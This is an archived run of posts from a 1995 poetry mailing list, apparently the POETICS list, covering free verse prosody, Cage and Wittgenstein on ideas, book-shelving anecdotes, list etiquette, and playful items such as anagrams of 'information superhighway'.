> *Re: "unlearning the beaten paths" -- Hejinian has a great statement on that, "Once one sought a vocabulary for ideas, now one seeks ideas for vocabularies."*

Yes, I like that.

Which points to possibilities, that the ideas are already
> extant, within language, within contexts

This, to me, gets dangerous again--as though the ideas like things exist somehow within language but independent of it. Back to the private image and solipsism.

Cage used to always say that ideas were "in the air" -- how
> else explain more than one inventor coming up with the same idea
> thousands of miles apart. One could say, well technology had reached the
> point where that idea was possible-- exactly, that idea existed, waiting to
> be discovered, "in the air."
>

We speak in wonderful metaphors (I'm getting pictures of ideas like puppies waiting for an owner to come home). It only gets tricky if one starts taking the metaphor seriously and concretizing it and using it to explain the world. Look at how people make theories out of their feelings, then concretize the theories and make the world fit their feelings. It is possible to say "ideas are in the air."
That's one of the things we can say about ideas. What does that mean, though, about the world?

Gab.

↑ Index

559. **Jerry Rothenberg**
Re: who is Robert Duncan
Sun 23 Jul 1995

On the matter of Duncan's name(s), the information is all there in Duncan's A SEQUENCE OF POEMS FOR H.D.'S BIRTHDAY, 4th section: born Edward Howard Duncan, change of name described as "Robert they called me after a friend of my adopted father's who had died. And they kept from my old name Edward. Robert Edward Symmes." (from _Roots & Branches_)

One of the terrific Duncan poems of the late 1950s ... tying the personal to much else (search for the missing Father/Mother -- even a little [dare we say it?] "gnostic').

Jerome Rothenberg
[redacted]

↑ Index

560. **Herb Levy**
Re: furnished
Sun 23 Jul 1995

Ryan, put your furniture up any old way. The setting'll become aleatoric soon enough.

All that talk about Bruce Andrews organizing his books by the colors of their covers reminded me of another non-alphabetic cataloging system.

When I was in college, a friend kept his records in order of date of composition (or, in the case of jazz, pop, or world music, date of recording). Since he was interested in most kinds of music, this made for some nice juxtapositions.

For instance, which Be-bop records were made around the same time as Messiaen was writing Quartet for the End of Time, which (western) classical

pieces composed around the time of the Ramayana Monkey Chant (not, by the way, a traditional work, but a contemporary composition from the early 20th century), etc.

Herb Levy
[redacted]

↑ Index

561. **Herb Levy**
Re: Exercise(s)
Sun 23 Jul 1995

Jim Rosenberg writes, quoting from an earlier post of mine:

> *there are very few*
> *poems that serve the same kind of function as musical "etudes" do.*
>
> *"Variations Done for Gerald Van de Wiele", by Charles Olson. Yes??*
>
> *If someone asked me what was my "favorite poem", I would have to say that this poem blew my mind at a fairly young age as the most amazing poem in the English language, and I haven't changed my opinion since.*

Jim Rosenberg is right. Forget my previous comments.

Clearly, any poem that has had this kind of effect on any reader, has helped that reader to develop their own reading/perceiving techniques in a manner analogous to a musical etude as an exercise as practise for a particular performance "problem."

Bests,

Herb Levy
[redacted]

↑ Index

562. **Marjorie Perloff**
Re: POETICS Digest - 21 Jul 1995 to 22 Jul 1995
Sun 23 Jul 1995

On free verse foot: I strongly recommend Henri Meschonnic's THEORIE DU RYTHME, unfortunately not yet translated, but about to be I think. What HM teaches us is that prosody most always be historicized: one period's "verse" is another's "prose" etc. Now , yes, of course Creeley's poetry can be scanned in the sense that you can count stresses (and slacks) per line, talk about secondary sound features like alliteration, assonance, consonance, rhyme, and

come up with very definite patterns--but "foot" implies a fixed metrical unit so I do agree with Jim that "measure" is better but even that's not totally adequate.

I think a big project right now should be to look more closely at period style today and determine why just about every poet on this net and other interesting, innovative poets don't write metered verse or even free verse, in a Williams-Creeley sense but write what's much closer to Skeltonics or doggerel on the one hand, prose on the other and the sense of "music" has dramatically shifted in, say, the last 20 years . That might be a more fruitful avenue of investigation (i.e., historicize) than to try to define "the foot" or "the measure" which, as Meschonnic shows, can never quite be done.

Marjorie Perloff

↑ Index

563. **Rod Smith**
Re: George and Ludwig (fwd)
Sun 23 Jul 1995

Thanks for the great feedback Gabrielle. I'm not stuck on the position I presented (or maybe I am) but for the sake of the network of standard stoppages I'll spin out a "defense."

Key to the differences we might have I think is this passage:
I wrote:
>. . .Which points to possibilities, that the ideas are already
> extant, within language, within contexts. . .

You responded:
 >This, to me, gets dangerous again--as though the ideas like >things exist somehow within language but independent of it. Back to the >private >image and solipsism.

I don't see how what I wrote cld be construed as taking a position which implied the formulation "within language but somehow independent of it." What I wrote seems to me to be saying pretty much what the Hejinian quote I cited is saying. Which is precisely that ideas are not private (subjective), but rather contextual (intersubjective), in ways we don't entirely understand-- thus the "in the air" formulation. A more accurate formulation is probably not possible because no context is _ultimately_ defineable, because all contexts are interrelated. This is a bit of Buddhist propaganda, but it seems to me useful. (I'm not arguing that there's never enough information in a given situation to act, merely that there are always more elements which could be taken into account). To boil it down perhaps what I'm saying is that every idea is an interaction. That the "heart of an idea" is not locatable "except in its use"!

> It only gets tricky if one
>starts taking the metaphor seriously and concretizing it and
using it to
>explain the world.

It seems to me the viability of this articulation is only apparent precisely when it is concretized. A good example of this is Cage's process in his later writings such as _Themes & Variations_ , _I-VI_, & "Art Is Either A Complaint Or Do Something Else." In this series he tried, & I think he often succeeded, "to find a way of writing which though coming from ideas is not about them; or is not about ideas but produces them." The manner in which he did this is outlined in the introduction to _I-VI_ and in the interview w/ Joan Retallack in _Aerial 6/7_, among other places. Briefly, it involved subjecting a source text (or texts) to chance operations which then presented him with a mix of source materials in which he then searched for ideas, eliminating materials which allowed them to emerge. These were not necessarily semantic "ideas" but could as well be "musical"-- i.e. related to the sound and texture, the movement of language, as well as to the making of statements, obviously they are always in some sense both of these.

Though one need not cite Cage to illustrate my point. Ashbery's "floating pronouns" in a poem like "These Lacustrine Cities," or Mallarme's famous "All Thought emits a Throw of the Dice" ("Tout Pensee emet un Coup de Des") can't figure how to get diactical markings on this new keyboard)), relate to what I'm saying. More recently Carla Harryman's "Toy Boats" in _Poetics Journal 5_ seems to me an excellent articulation of the ways of thinking about these issues I'm forwarding. She writes: "I am an indication of what occurs around me." & also, beautifully, "Both belief and denial throw existence into question." She ends the piece with the following paragraph: "A structure for writing that comes from anticipation relative to an elsewhere, which to become a somewhere-- i.e., a writing --must borrow from the things of this world in their partiality."

So, that's what I think right now. To respond to a few other points-- I suspect that the idea of a schism in Wittgenstein's thought is based partially in the events of his life, & I don't think that's an entirely bogus point of view. In retrospect we can see the seeds of the late thought in the early but there does seem an openness to a less proscriptive investigation in the later work I think. It seems to me in the _Tractatus_ that he, like Pound for so long, wanted to make it cohere.

Also you wrote:
> Look at how people make theories out of their

feelings, then concretize the theories and make the world fit >their feelings.

It's become a bit of a cliche to say, but I'm not sure in the end we can distinguish between emotion & intellect. That perhaps an oversimplification, and if I were a scientist I might not say that. However, I was reading in Alan Ryan's biography of Dewey last night-- Dewey argued that "what scientists do when they try to understand the world is not very different from what any of us do when we try to decide what to do or think"-- this _feels_ right to me. (Dewey eschewed both violent revolution & acceptance of the status quo in favor of the slogan "Intelligent Action!" & although tagged "pragmatist" prefered the term "experimentalism" -- i.e. find out what works and do that. Chomsky went to a Deweyite school in Philadelphia til the age of 12.)

& finally (I didn't expect this to be such a long post, geeze, now I have to keep myself from writing another lengthy response to a, to me, seriously reductive comparison of Zorn & Cage by Kevin McNeilly which appears in the Jan. _Postmodern Culture_-- don't nobody tell Bruce how much time I'm spending on here, I'm supposed to be working on the Andrews issue of Aerial, it's our little secret, please) Gabrielle wrote:
>We speak in wonderful metaphors (I'm getting pictures of ideas like
>puppies waiting for an owner to come home).

I'm exactly arguing that ideas don't have "owners," but we come home to them whether we want to or not. Art's part of what makes us aware of when they're around. & some may be puppies, some grown-up, some old, some dead dogs-- mutts, chihuahuas, pit bulls, lassies, Snoopys & Goofys (Baudrillard?) &, of course, east german shepherds. ggrrrrawwlrrrruff! ruff! ruff! --Rod

↑ Index

564. Ryan Knighton
Re: Exercise(s)
Sun 23 Jul 1995

Could we say that Mac Low's reconfiguration of the letters in a name)please tell me you know which poem I'm thinking of , because the name escapes me this morn(is a variation on a theme? An etude without etude?

↑ Index

565. **Aldon L. Nielsen**
Re: bootless feet
Sun 23 Jul 1995

---

a snake
          casually suns itself
on a relational data base

the virtual worm
        turns
              inside the actual
    apple

                        any port in a storm
                        any fact in a fury
                        many modems phone home

smash the windows
tear the bulletin boards from their hosts
tear the hosts themselves from their net

who touches this

    touches a screen

↑ Index

566. **Aldon L. Nielsen**
Re: Murphy's Law
Sun 23 Jul 1995

Despite the fact that she didn't call me while she was in California (perhaps because I haven't gotten around to answering any letters for six months) -- I want to mention to everybody Sheila Murphy's book _A Clove of Gender_, recently released from Stride press. Contains "Literal Ponds," "Informal Logic," and much else of value -- what the blurb writers like to call "a substantial collection" --

& by way of early warning -- Harryette Mullen's _Muse & Drudge_ will be out from Singon Horse very soon -- and it's the largest collection of her work in over a decade -- good stuff throughout --

↑ Index

567. maria damon
Re: bootless feet
Sun 23 Jul 1995

aldon writes:
> a snake
> casually suns itself
> on a relational data base
>
> the virtual worm
> turns
> inside the actual
> apple
>
> any port in a storm
> any fact in a fury
> many modems phone home
>
> smash the windows
> tear the bulletin boards from their hosts
> tear the hosts themselves from their net
>
> who touches this
>
> touches a screen

to which i say amen, oh footless boot.

↑ Index

568. Charles Alexander
sing on sing on
Sun 23 Jul 1995

Aldon Nielsen writes: "& by way of early warning -- Harryette Mullen's _Muse & Drudge_ will be out from Singon Horse very soon -- and it's the largest collection of her work in over a decade -- good stuff throughout --"

Is "Singon Horse" the same as "Singing Horse," the press of Gil Ott in Philadelphia? And Gil, are you here lurking anywhere? Love to you . . .

all best,
c

and ps -- Mac Low has done a lot with names, perhaps most famously a series on the names of The Presidents of the United States -- marvelous work

charles alexander [==========^^==========]
chax press [<>] minnesota center for book
arts [maybe a <> pages] phone & fax: [redacted] [time
<> letters] e-mail: [redacted] [upon <> frames]
[once <> motion] [<>]
[==========vv==========]

↑ Index

569. **Tony Green**
more Meschonnic
Sun 23 Jul 1995

It's good to know that Meschonnic on rhythm is as interesting as suggested by Marjorie Perloff. There's a writer who is really engaged with rhythm-values. His translation of the Book of Jonah into French in the "original rhythm" and his comments on it are well worth reading. It would be of some interest to Jewish listers. (nrf Gallimard, 1981).

↑ Index

570. **Kevin Killian**
POEMS Syndrome
Sun 23 Jul 1995

I was browsing through the Rare Disorders database of my Family Doctor CD Rom and came across the following entry--POEMS Syndrome. I know there are many poets on this list. I hope you are aware of your own pathology!! <grin>

My apologies to those who are really suffering from this terrible problem, but a definition's a definition.

Dodie Bellamy

789: POEMS Syndrome

POEMS Syndrome is an acronym for Polyneuropathy (a disease of many nerves), Organomegaly (the enlargement of an organ), Endocrinopathy (a functional disorder of an endocrine gland), M protein (monoclonal immunoglobin, a type of antibody), and Skin changes.

Symptoms

Each letter of POEMS Syndrome stands for the following symptoms:

Polyneuropathy is a disease of many nerves that causes tingling, numbness, burning pain, deficiencies in perception and vibratory sensations usually in the limbs. Organomegaly may affect any organ such as enlargement of the spleen (splenomegaly) or enlargement of the liver and the spleen

(hepatosplenomegaly). Disease of the endocrine system may affect any endocrine gland (a gland that secretes hormones directly into the blood stream). Deficient secretion of the thyroid hormones (hypothyroidism) may occur. Sexual functioning may be affected in POEMS Syndrome due to dysfunction of hormone secreting glands.

Adrenal secretion of hormones may also be insufficient. Elevated levels of M protein are usually found in the blood. Skin manifestations may include increased pigmentation (hyperpigmentation) and thickened skin resembling Scleroderma (see Related Disorders section of this report).

Swelling of the lymph nodes (adenopathy) may also occur.

An abnormal accumulation of fluid (edema) in the abdominal cavity (ascites), in connective tissue (anasarca), or in cells and tissues may also occur. Most of the patients have a malignant bone marrow disease called Multiple Myeloma. Abnormal proteins are usually present in the plasma. (For more information on this disorder, choose "Multiple Myeloma" as your search term in the Rare Disease Database.)

Causes

The exact cause of POEMS Syndrome is not known. It has been suggested that it may be an autoimmune disorder. Autoimmune disorders are caused when the body's natural defenses (antibodies, lymphocytes, etc.), against invading organisms suddenly begin to attack perfectly healthy tissue for unknown reasons.

The abnormal proteins from the multiple myeloma tumor is another possible cause for this multi-system disease.

Affected Population

POEMS Syndrome is a rare disorder affecting males and females in equal numbers.

Therapies: Standard

Treatment of POEMS Syndrome involves immunosuppressive drugs such as melphalan and prednisone.

Therapies: Investigational

Plasmapheresis may be of benefit in some cases of POEMS Syndrome. This procedure is a method for removing unwanted substances (toxins, metabolic substances and plasma parts such as antibodies and abnormal proteins) from the blood. Blood is removed from the patient and blood cells are separated from plasma. The patient's plasma is then replaced with other human plasma and the blood is retransfused into the patient. This therapy is still under investigation to

analyze side effects and effectiveness. More research is needed before plasmapheresis can be recommended for use in all but the most severe cases of POEMS Syndrome.

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571. FUNKHOUSER CHRISTOPH

(no subject)

Sun 23 Jul 1995

This is an Announcement for the imminent publication of _The Little Magazine Volume 21_, the literary journal produced by graduate students in the English Program at the University at Albany, produced as a cd-rom for IBM / Windows. At present there is a functioning demo, soon to be available.

Cost is $15 direct from publishers, about $10 more through distributors (Fine Print and Bernard DeBoer). Send checks or cash to The Little Magazine c/o SUNY Albany Dept. of English 1400 Washington Ave. Albany, NY

12222

INGREDIENT STATEMENT:

multimeDia writing ImagerY sound

Will Alexander Lori Anderson
Don Archer Meg Arthurs
Susan Bee Charles Bernstein
Hakim Bey Roberto Bocci
David Bookbinder Charles Borkhuis
Susan Brenner Sean Bronzell
Harvey Brown Lee Ann Brown
Mark Cheney John Clarke
Jim Cohn Stephen Cope
Eric Curkendall Jacques Debrot
Ray DiPalma Phillip Djwa
Nancy Dunlop Gully Foyle
Lawrence Ferlinghetti Benjamin Friedlander
Chris Funkhouser James Garrison
Belle Gironda Loss Pequen~o Glazier
Robert Grenier Ben Henry
Joyce Hinnefeld Robert Hiles
Jim Hauser Geof Huth
Julie Ivey Lisa Jarnot
Pierre Joris Lisa Kaplan
Charlie Keil Bill Keith

Robert Kendall Richard Kostelanetz
Tuli Kupferberg Steve Laufer
Kurt Lohr Bill Luoma
Jackson Mac Low Nathaniel Mackey
Laura Marello Murphy McCullough
Marty McCutcheon Michael Melcher
H.D. Moe Trudy Morse
Murat Nemet-Nejat Nicole Peyrafitte
Geoffrey Polk Purkinge
Jed Rasula Piero Resta
Stefano Resta Douglas Rothschild
[redacted]! Stephan Said
Linda Smukler Chuck Stein
Chris Stroffolino Anne Tardos
Nathaniel Tarn Eugene Thacker
thelemonade Rodrigo Toscano
Chris Vitiello Ben Yarmolinsky
Katie Yates

We hope to hear from you,

Chris Funkhouser, editor

Belle Gironda, assistant editor

Ben Henry, technical editor

[redacted]

↑ Index

572. George Bowering
Re: POETICS Digest - 21 Jul 1995 to 22 Jul 1995
Sun 23 Jul 1995

I do not hear how a "foot" implies a fixed metrical unit. Perhaps one may imply such a thing when using the word, but how can the word do so?

Surely, it is to historicize the usage of the word "foot" when one goes to histoprical figures who support the idea of a free verse foot; and in fact does it not historicize it when one first maintains that there is such a thing, after years of regular walking.

For the majority of my life, and it has not been a short one, I have understood the post-Hopkins foot to be what the oldtime linguist-prosodists called a principal stress. I have no trouble hearing the moments when ol' Doc Wms' feet come down on his attic floor.

(Didnt we have some of this kind of conversation when jazz musicians stopped counting bars?)

↑ Index

573. **George Bowering**
Re: furnished
Sun 23 Jul 1995

I have a friend in Montreal who keeps his books sorted according to height. It works out pretty well, when you come to Black Sparrow Books or Grove Press stuff. But one will find Bukowski next to Bromige, and that was something bromige complained about back when Buk. was "The Outsider of the Year."

↑ Index

574. **Ron Silliman**
Canadian foot vs. US foot?
Sun 23 Jul 1995

George Bowering writes
>
>I do not hear how a "foot" implies a fixed metrical unit.

I agree completely unless (and it's a big unless) we are talking strictly in historical terms of what the academy circa the early-mid 1950s meant by that phrase.

So here is where Marjorie's argument about you must historicize prosody makes some real sense. It's the way I understood Josephine Miles telling Melnick and I back in '69 or thereabouts that when she was younger she and her peers "did not know how to hear Williams," could not fathom what it was supposed to sound like on the page.

Me, I'm waiting for someone to reinvent Adelaide Crapsey's use of math in all of this. No?

Ron Silliman
[redacted]

↑ Index

575. **Ron Silliman**
Re: POETICS Digest - 21 Jul 1995 to 22 Jul 1995
Sun 23 Jul 1995

George,

>(Didnt we have some of this kind of conversation when jazz musicians
>stopped counting bars?)
>
Which explains all those bloated livers, right?

Ron

↑ Index

576. **Ron Silliman**
Re: furnished
Sun 23 Jul 1995

But one will find Bukowski next to
>Bromige, and that was something bromige complained about back when
>Buk. was "The Outsider of the Year."
>
But you won't find Mickey Rourke portraying Bromige on the silver
screen (nor Faye Dunaway Cecilia)....

[Actually, in the portrayal line, Tom Marshall was visiting this week and saw a photo of my brother--who is a born-again christian living in a "community" in Waco, TX--and thought it was George Bowering. Since my brother and I have often been mistaken for one another--in spite of the fact that he's 7 inches taller--this is a sobering thought]

Ron

↑ Index

577. **George Bowering**
Re: furnished
Sun 23 Jul 1995

Oh hell, Bromige will be next to Bukowski if they are sorted alphabetically, anywayu! David should change his name to Symmes.

↑ Index

578. **braman sandra**
libraries
Sun 23 Jul 1995

And then there was the librarian who thought that the books should be arranged according to their individual identities as chess pieces, rather than by Dewey Decimal or Library of Congress classification systems. He was going in

after hours and rearranging books for his employer library for months until they discovered what the problem was....

Sandra Braman

↑ Index

579. **Burt Kimmelman**
Re: the politics of dub
Mon 24 Jul 1995

---

excuse me for interrupting out usual rarefied discussion, but I am getting a lot of what I can only describe as protocol-like garbage preceding every message from POETICS. I've written to the list-serve and got my message, along with more garbage, spit back to me. am I the only one experiencing this problem all of a sudden?

burt kimmelman
[redacted]

↑ Index

580. **Burt Kimmelman**
Re: rebbe-l
Mon 24 Jul 1995

Maria Damon,

I'm trying to forward the addresses to you which you were interested in, but somehow my message is not getting through. can you back channel me?

burt
[redacted]

↑ Index

581. **H. T. KIRBY-SMITH**
free verse foot
Mon 24 Jul 1995

I never can remember whose lyrics these are and who I saw acting them out on MTV, but no doubt other people do:

I can't dance--
I can't talk--
The only thing about me is the way that I walk.

to which I would add,

I got the rhythm--
I got the beat--
I'm the guy that walks with the free verse feet.

As far as I know Winters never did repent of having invented a free verse foot when he was in his, and the century's, twenties. For someone who rebuked Hart Crane for lack of repentance (a very well- intentioned act) this is remarkable.

gee i hope i didn't step on anyone's feet

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

582. Steven Howard Shoemaker
pleasures of rejection
Mon 24 Jul 1995

A little something from the 'Net:
> >
> >
> > Every writer has received rejection slips; too many of
> > them for most. The Financial Times has quoted the "mother of all rejection
> > slips" translated from a Chinese economic journal. It goes like this:
> >
> > "We have read your manuscript with boundless delight. If we were to publish
> > your paper, it would be impossible for us to publish any work of lower
> > standards. And as it is unthinkable that in the next thousand years we
> > shall see its equal, we are, to our regret, compelled to return your divine
> > composition, and to beg you a thousand times to overlook our short sight and
> > timidity."
> >
>
>

↑ Index

583. **Jim Rosenberg**
Re: Free Verse Foot
Mon 24 Jul 1995

Marjorie Perloff:
> I think a big project right now should be to look more closely at period
> style today and determine why just about every poet on this net and other
> interesting, innovative poets don't write metered verse or even free
> verse, in a Williams-Creeley sense but write what's much closer to
> Skeltonics or doggerel on the one hand, prose on the other and the sense
> of "music" has dramatically shifted in, say, the last 20 years . That
> might be a more fruitful avenue of investigation (i.e., historicize) than
> to try to define "the foot" or "the measure" which, as Meschonnic shows,
> can never quite be done.

I would need to do an awful lot of scanning before reaching a conclusion like the one above; I'm a bit puzzled by what should constitute *the data* for a "historicization" concerning metrics if not the actual metrical structure of the poems involved. I.e. it seems to me you must scan first *then* relate the results of the data to what you know about history. If you decline to scan -- pronounce scanning as "not being fruitful" -- then what is the basis on which judgments like the one above are made???

Normally I tend not to be evangelical on any subject, and I certainly don't want to get into a food fight with anyone over "x is more fruitful than y", but I find myself totally baffled by all this negativity over metrics. I consider it a tool -- in the presence of many other tools -- no more no less. It can be *very interesting* to discover how the metrical structure of a poem works. The a-priori-template foot methodology *does* seem inappropriate for a great deal of recent poetry; all the more reason to seek a new methodology. Marjorie, when you say defining the measure "can never quite be done" I'm not sure what you mean here. If you mean that one can not be guaranteed of being able to produce *predictive formulas* for where the measure boundaries will fall, I agree with that completely. But if you mean the *concept* of measure can never be completely defined then I don't agree at all. The concept of measure, as I've explained it, stands or falls on the ability of listeners to *hear* those boundaries of low bonding strength. My belief is that once this methodology is demonstrated, these boundaries are as easy for people to locate as stress degrees.

I haven't read Meschonnic -- thanks for the reference -- so perhaps I ought to defer judgment, but having a method for mapping metrical structure seems useful to me.

George Bowering:
> For the majority of my life, and it has not been a short one, I have
> understood the post-Hopkins foot to be what the oldtime
> linguist-prosodists called a principal stress.

Yes! Where I would expand on this, George, is simply to map the *direction* the unstressed syllables go in "attaching to" the stress -- i.e. to *which stress* does a given unstressed syllable "belong".

Ron Silliman:
> So here is where Marjorie's argument about you must historicize prosody
> makes some real sense. It's the way I understood Josephine Miles
> telling Melnick and I back in '69 or thereabouts that when she was
> younger she and her peers "did not know how to hear Williams," could
> not fathom what it was supposed to sound like on the page.

I'm quite emphatic that metrics has to take place with respect to *a recitation* -- in fact it works best if you have a tape recording you can play over and over and even slow down if need be. If someone believes the role of prosody is to allow the reader to extrapolate the sound based only on the printed page then yes, the concepts I've been presenting will be very unsatisfying. (Of course the arrival of multimedia makes it easier than ever to include the sound with the text.)

[Incidentally, apologies if my responses seem a tad out of sync with some others -- I've got my poetics list subscription set to digest, so I don't see responses til sometime after midnight.]

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

584. **Tom Taylor**
Re: Open Mike Titles
Mon 24 Jul 1995

---

what an arrogant son of a bitch

↑ Index

585. **Alan Sondheim**
Re: the politics of dub
Mon 24 Jul 1995

You may have the full-header option turned on in your mail reader by accident; if it's Pine, hit control-H. I'm getting normal headings; if I need full-header, control-H toggles it on as well.

Alan

On Mon, 24 Jul 1995, Burt Kimmelman [redacted] wrote:

> *excuse me for interrupting out usual rarefied discussion, but I am getting a lot of what I can only describe as protocol-like garbage preceding every message from POETICS. I've written to the list-serve and got my message, along with more garbage, spit back to me. am I the only one experiencing this problem all of a sudden?*
>
> *burt kimmelman*
> [redacted]

↑ Index

586. **Steven Howard Shoemaker**
infograms/utopian rhyme
Mon 24 Jul 1995

Here's a top 10 of anagrams for "information superhighway" making its way around the Net.

10.Enormous hiary pig with fan
9.Hey ignoramus--win profit? Ha!
8.Oh-oh, wiring snafu: empty air
7.When forming, utopia's hairy
6.A rough whimper of insanity
5.Oh, wormy infuriating phase
4.Inspire humanity, who go far
3.Waiting for any promise, huh?
2.Hi-ho! Yow! I'm surfing Arpanet!
1.New utopia? Horrifying sham

runners-up:

Fury, morphia, a wise nothing
Hey, what of inspiring amour
How pithy--a finer ignoramus
I swamp, horrify huge nation

I whisper nothing of my aura
Newt has a horrifying opium
This warning of my euphoria
Whining, amorphous--yet fair
Why shun origin of primate?
Wishing for a utopian rhyme

PS.

I'm not responsible for the ranking here. Several of the runners-up are better than the top 10, but ain't that always the way?

↑ Index

587. **Hank Lazer**
Re: thanks
Mon 24 Jul 1995

I'll be out of town (& without computer access) for the next week. I wanted to thank the group for many stimulating directions of conversation. As I was working on some poems last night, I ran across this one, which I send out in the spirit of such thanks:

#146 (of a series called DAYS - this one 7/13/95)

for this the mystical

might have said

soul though others

would have it

otherwise which

to contend among

of yes being

numerous cacophony

of many

talking thinking

Hank Lazer

↑ Index

588. **Tom Taylor**
Re: free verse foot
Mon 24 Jul 1995

Phil Collins, I think.

↑ Index

589. **Charles Watts**
Re: furnished
Mon 24 Jul 1995

Not if yr library's big enough, Jawj. Don't you have Bronk, Broughton, Brownstein? Whut about Lennart Bruce? Lenny Bruce? Joseph Bruchac? Bryher? Paul Buck? David Budbill? Mel Buffington? Bromige has plenty of name buffering, if yr liberry's lawge enuf.

> > Oh hell, Bromige will be next to Bukowski if they are sorted alphabetically, anywayu! David should change his name to Symmes. >

↑ Index

590. **maria damon**
Re: secrecy/confidetiality
Mon 24 Jul 1995

---

charles b et al: i have a question about the confidentiality of the list. in perusing the opening materials i got when first subscribing, i saw for the first time that people aren't supposed to know about this list. (i hadn't read all the stuff thru cuz all that kind of technotalk, which i assumed it was, how to do this, how to do that, is a bit intimidating to me.) well, i've already told one student about getting on the list --he's done so and made some remarkable contributions. i want, moreover, to bring some stuff frm the list, like loss's concrete-poem map of buffalo/gloucester, and the anagrams for info. superhiway, to my poetry classes to show them how much and varied and fun activity there is in the poetry world. is this verboten? is the confidentiality a legal matter or one of personal preference, i.e. keeping the list small and intimate? charles, maybe you --or anyone --can explain this to me before i do something untoward.--maria d

↑ Index

591. **George Bowering**
Re: pleasures of rejection
Mon 24 Jul 1995

Rejection slips? Oh, I remember those. Wonder what they are like now....

↑ Index

592. **George Bowering**
Re: furnished
Mon 24 Jul 1995

I have never been in Waco. I have been , 30 years ago, in El Paso, and that was scary enough. But if Ron Silliman's bro is 7 inches (or as say up here, 12 cm) taller than Ron, and if the stories that tell me that Ron is 6 foot 6, well, I aint that tall. I am only 15 inches taller than Carol Berge.

↑ Index

593. **George Bowering**
Re: Sarton & Spender
Mon 24 Jul 1995

I finally saw an obit re Spender in the Vancouver _Sun_ but nothing on Sarton. I eh never played basketball with Spender, but he was the first famous poet I ever heard read, followed by Marianne Moore and Kenneth Patchen. I was surprised to see that Spender pulled a hankderchief out of his jacket sleeve. So THAT's where poets keep them, I thought.

↑ Index

594. **George Bowering**
Re: who is Woody Allen?
Mon 24 Jul 1995

What a coincidence, Ron!~ I have, as you know, just come back from Petersburg (I am going to try to write the trip off as research in Hejinian studies), where I saw a little anthology of 3 poets: (I am bowing to variopus pressure on this net, to concede that pop singers are poets and artists): Huey Lewis, Dewey Redman, and Louis Zukofsky. It was published by the Ducklings Press, Leningrad.

↑ Index

595. **Loss Glazier**
Re: secrets of the list
Mon 24 Jul 1995

Maria,

> *charles b et al: i have a question about the confidentiality of the list. in perusing the opening materials i got when first*

> *subscribing, i saw for the first time that people aren't supposed to know about this list.*

I'm not speaking for Charles but I can give you my sense of it; at least you will have one person's thoughts.

I don't think there's a rose hanging upside down over the mainframe that houses the list. (Though that's not a bad image...) The intention is not to have the list listed in all the lists of lists that get published, thereby causing a lot of casual foot traffic. This also includes not posting the existence of the list to other lists, where people who might subscribe to lists just because they like to subscribe to lists might subscribe to this list. It would be better I would think for the number of subscribers not to get too large only because at a certain point there can't be a sense of who's there if it's among thousands.

> *well, i've already told one student about getting on the list --he's done so and made some remarkable contributions.*

Word of mouth has always been fine, I believe. (And students would count, I would say, unless it was an assignment say, for each student

> *i want, moreover, to bring some stuff frm the list, like loss's concrete-poem map of buffalo/gloucester, and the anagrams for info. superhiway, to my poetry classes to show them how much and varied and fun activity there is in the poetry world. is this verboten? is the confidentiality a legal matter or one of personal preference, i.e. keeping the list small and intimate? charles, maybe you --or anyone --can explain this to me before i do something untoward.*

I'd use the same instincts you would if you were at a reading and some photocopies were handed out. It's thoughtful to ask the posting person before recirculating, I would think (and one is usually honored by such a request!) though you wouldn't technically break any laws by not doing so. I think such thoughtfulness more than any sense of rules will do the most to maintain the level of trust necessary to such a list.

↑ Index

596. Marjorie Perloff
Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995
Tue 25 Jul 1995

For Jim Rosenberg, Tom Kirby, George Bowering et al:

I certainly didn't mean to give the impression that I don't care about metrics. ON THE CONTRARY! I'm the person whose first book (dissertation) was about Yeats's use of rhyme and I've written quite a lot about specific metrics over the years. All I meant was that the word "foot" is applicable only in cases of

syllable-stress prosody (i.e. meter), where we count feet. In the case of alliterative verse, the basis is the number of stresses per line, never mind how many unstressed syllables in between. In such a case (for instance Hopkins, a good deal of Auden)what does a "foot" mean? See, on this point, the Encyclopedia of Poetry and Poetics--various relevant articles.

My point about free verse is different. Strictly speaking, free verse means no counting, a variable line, and the line as unit rather than the foot, or number of stresses or number of syllables per line, and so on. But in practice, of course a poet like Williams kept the variability limited: most of his earlier poems use between 3 and 5 stresses per line and the syllable count is not all that variable either. Now: if Williams writes "free verse," what does John Ashbery write? His long lines are purposely prosaic with very little rhythmic repetition. To speak of free verse in this case and many others seems misleading and I think we need to be more specific. But of course, as Jim says, you always start with actual analysis of stress, syllable count, pitch, juncture, etc.

Marjorie Perloff

↑ Index

597. Chris Stroffolino

Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995

Tue 25 Jul 1995

The search for a "new" term (or conceptualization) for the kind of verse someone "like Ashbery" writes is intriguing in that to dismiss him as merely "discursive" (or to valorize him for same reason) seems beyond the point...Yet, reading backwards from the contemporaries, many modernists (Stein, Stevens, Riding) seem to be equally removed from "song"--either in that they have a plainness in their diction or a hypnotic rhythm "akin to the saxophone"(as Eliot said of Stein)--Of course, "The Four Quartets" and some Moore (who despite her rhyme was tonally) also seem to be important "precursors" of a certain I-don't-want-to-say-discursive tone. But perhaps Moore would be disqualified because of the rhyme (as would Stevens because of the iambs?) as an alternative to "free verse"--Yet, when one reads Ashbery or Perelman or Harryman (scratch harryman for now--it makes it too complicated), one is definitely not reading most of O'Hara or Mayer or Armantrout? Would Marjorie, or anyone else say that the latter (O,M,A,) would fit under the rules of "free verse" as presumably so would Spicer and Weiners? And if this is this case, is this distinction argued on any grounds other than the "lyric" vs. "Discursive" debate? Chris Stroffolino

↑ Index

598. **Don Cheney**
Rock Me Amadeus
Tue 25 Jul 1995

---

sorry for the late post on the subject, but concerning the idea that rock musicians take their work seriously: i say that THE MEAT PUPPETS take their work seriously and give as evidence meat puppet Cris Kirkwood's description of the band's music (in Rolling Stone 5/19/94):

> "It's like a braunschweiger bust of Millard Fillmore set
> amid a field of frozen feces."

↑ Index

599. **maria damon**
Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995
Tue 25 Jul 1995

---

c stroffolino writes:
> a hypnotic rhythm "akin to the
> saxophone"(as Eliot said of Stein)--

chris--do you know how eliot intended this ? was it pejorative, admiring, neutral or all or none of the above?--md

↑ Index

600. **Herb Levy**
Re: who is Woody Allen?
Tue 25 Jul 1995

